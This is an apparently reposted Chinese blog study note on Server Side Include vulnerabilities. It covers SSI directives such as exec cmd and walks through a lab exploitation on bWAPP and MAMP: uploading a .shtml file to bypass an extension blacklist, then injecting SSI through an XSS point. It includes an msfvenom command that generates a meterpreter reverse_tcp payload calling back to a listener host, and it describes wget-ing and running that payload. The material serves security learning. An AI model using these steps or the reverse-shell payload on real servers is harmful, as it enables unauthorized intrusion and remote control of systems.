ssi 指令 php,SSI 漏洞学习笔记
0x01 SSI (Server Side Includes)
SSI (Server Side Include),是一種簡單的服務(wù)器端解釋性腳本語言。通過使用 #include 指令將一個或多個文件內(nèi)容包含到web服務(wù)器上的網(wǎng)頁中。SSI 還包含了具有條件特征和調(diào)用外部程序的控制指令。它被 Apache , LiteSpeed , Nginx , IIS 以及 W3C 的 Jigsaw 所支持。
而為了讓web服務(wù)器識別 ssi 允許的 html 文件并且執(zhí)行它的指令,需要和其他后端語言一樣,需要規(guī)定一個后綴名以識別解析(其默認(rèn)的后綴名是 .shtml , .stm , .shtm ,或者可以在服務(wù)器端自行進(jìn)行配置)。
SSI 具有強(qiáng)大的功能,只要是用一條簡單的 ssi 指令就可以實(shí)現(xiàn)整個網(wǎng)站的更新,時間日期的動態(tài)更新,以及執(zhí)行 shell 和 CGI 腳本程序等復(fù)雜功能。它與 CGI 類似,不同之處在于SSI用于在加載當(dāng)前頁面之前或在頁面可視化時候執(zhí)行某些操作。
0x02 語法 & 指令
1. 語法
SSI 的語法很簡單
偽指令放置在 HTML 注釋中。需要注意的就是該語法不允許在 < 和指令之間留空格。而關(guān)于 Apache 的 SSI 格式規(guī)定中,必須在 --> 之前用空格字符關(guān)閉該元素
image
2. 指令
通用指令
以下是NCSA HTTPd時代以來的 SSI 指令。它們得以所有實(shí)現(xiàn)的支持
指令
參數(shù)
描述
例子
include
file virtual
這可能是最常用的SSI指令,允許一個文檔的內(nèi)容包含于另一個文檔中。file 或 virtual 參數(shù)指定了要包含的文件(html頁面,文本文件,腳本等)。包括另一個文件的內(nèi)容或運(yùn)行 CGI 腳本的結(jié)果。如果該進(jìn)程無權(quán)限讀取文件或執(zhí)行腳本,則包含將失敗。virtual 默認(rèn)指定根目錄,而 file 默認(rèn)指定當(dāng)前路徑,且應(yīng)當(dāng)不采用絕對路徑的方式。通常默認(rèn)禁止跨目錄(..)。
exec
cgi cmd
該偽指令在服務(wù)器上執(zhí)行程序,腳本或 Shell 命令。cmd 參數(shù)指定服務(wù)器端命令;cgi 參數(shù)指定 CGI 腳本的路徑。當(dāng)前 SSI 腳本的 PATH_INFO 和 QUERY_STRING 將會傳遞給 CGI 腳本,因此應(yīng)該用 exec cgi 來替代 include virtual 指令。
echo
var
此偽指令顯示指定的 HTTP 環(huán)境變量 的內(nèi)容。變量包括 HTTP_USER_AGENT , LAST_MODIFIED 和 HTTP_ACCEPT 。
config
timefmt sizefmt errmsg
此偽指令為日期、時間、文件大小和錯誤消息(當(dāng) SSI 命令失敗時返回)配置顯示格式。
flastmod fsize
file virtual
這兩指令顯示指定文檔的最后修改日期或指定文檔的尺寸。file 參數(shù)默認(rèn)指定當(dāng)前路徑,virtual 默認(rèn)指定根目錄。
控制指令
這些指令是在后面添加到 SSI 中的。包括 if-elif-else-endif 流控制以及變量寫入等
指令
指令
描述
例子
支持的中間件
if elif else endif
expr
這個就是我們平常的 If-else 語句。
Everything
set
var value
設(shè)置 SSI 變量值。Apache 提供了附加參數(shù),用于編碼。
Apache Nginx
printenv
該指令輸出所有 SSI 變量及其值的列表,包括環(huán)境變量和用戶定義的變量。它沒有屬性。
Apache
0x03 利用場景和方式
說了這么多,接下來我們看看利用方式
1、文件上傳
本示例采用 MAMP PRO 的集成環(huán)境(用的 Apache) ,首先需要開啟 SSI ,具體配置問題可以參考 Apache、Nginx 服務(wù)配置服務(wù)器端包含(SSI)
在某些環(huán)境下,上傳點(diǎn)可能限制了我們的上傳后綴
我們可以嘗試上傳 shtml 或 shtm(當(dāng)然,如果服務(wù)器配置了其他后綴解析的話都可以靈活地進(jìn)行嘗試
1)例如我們此處是一個黑名單過濾,不允許上傳 php 的腳本文件
image
2)此處便可嘗試上傳 shtml 文件,嘗試?yán)?SSI 漏洞執(zhí)行命令
image
image
3)當(dāng)然,我們可以直接通過執(zhí)行的命令來 getshell
image
image
2、SSI注入
如果中間件開啟了 SSI ,且頁面存在 xss 漏洞的話,可以嘗試進(jìn)行 SSI 注入(這里采用了 bwapp 進(jìn)行測試)
image
1)測試發(fā)現(xiàn)存在xss
image
2)把 xss 的 payload 替換為 ssi
test
image
3)利用 ssi 反彈 shell
利用msfvemon生成木馬
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.101.8 lport=4444 -f raw > shell.py
image
利用 ssi 遠(yuǎn)程下載木馬
image
test
利用msf獲取反彈shell
image
這里不知為何,wget 到網(wǎng)站當(dāng)前目錄,執(zhí)行命令彈不回 shell ,下載到 /tmp 目錄又是空文件,知道到大佬還請指點(diǎn)下。
image
image
這里最后用了一個笨方法,把 msf 生成的 payload 用 echo 命令分段寫進(jìn) /tmp 目錄以后(太長了會報錯),再賦予權(quán)限
image
執(zhí)行命令,成功彈回 shell
t
image
參考文獻(xiàn)
總結(jié)
以上是生活随笔為你收集整理的ssi 指令 php,SSI 漏洞学习笔记的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 机械秒表的使用方法_秒表、机械秒表、50
- 下一篇: 使用PHP实现文件上传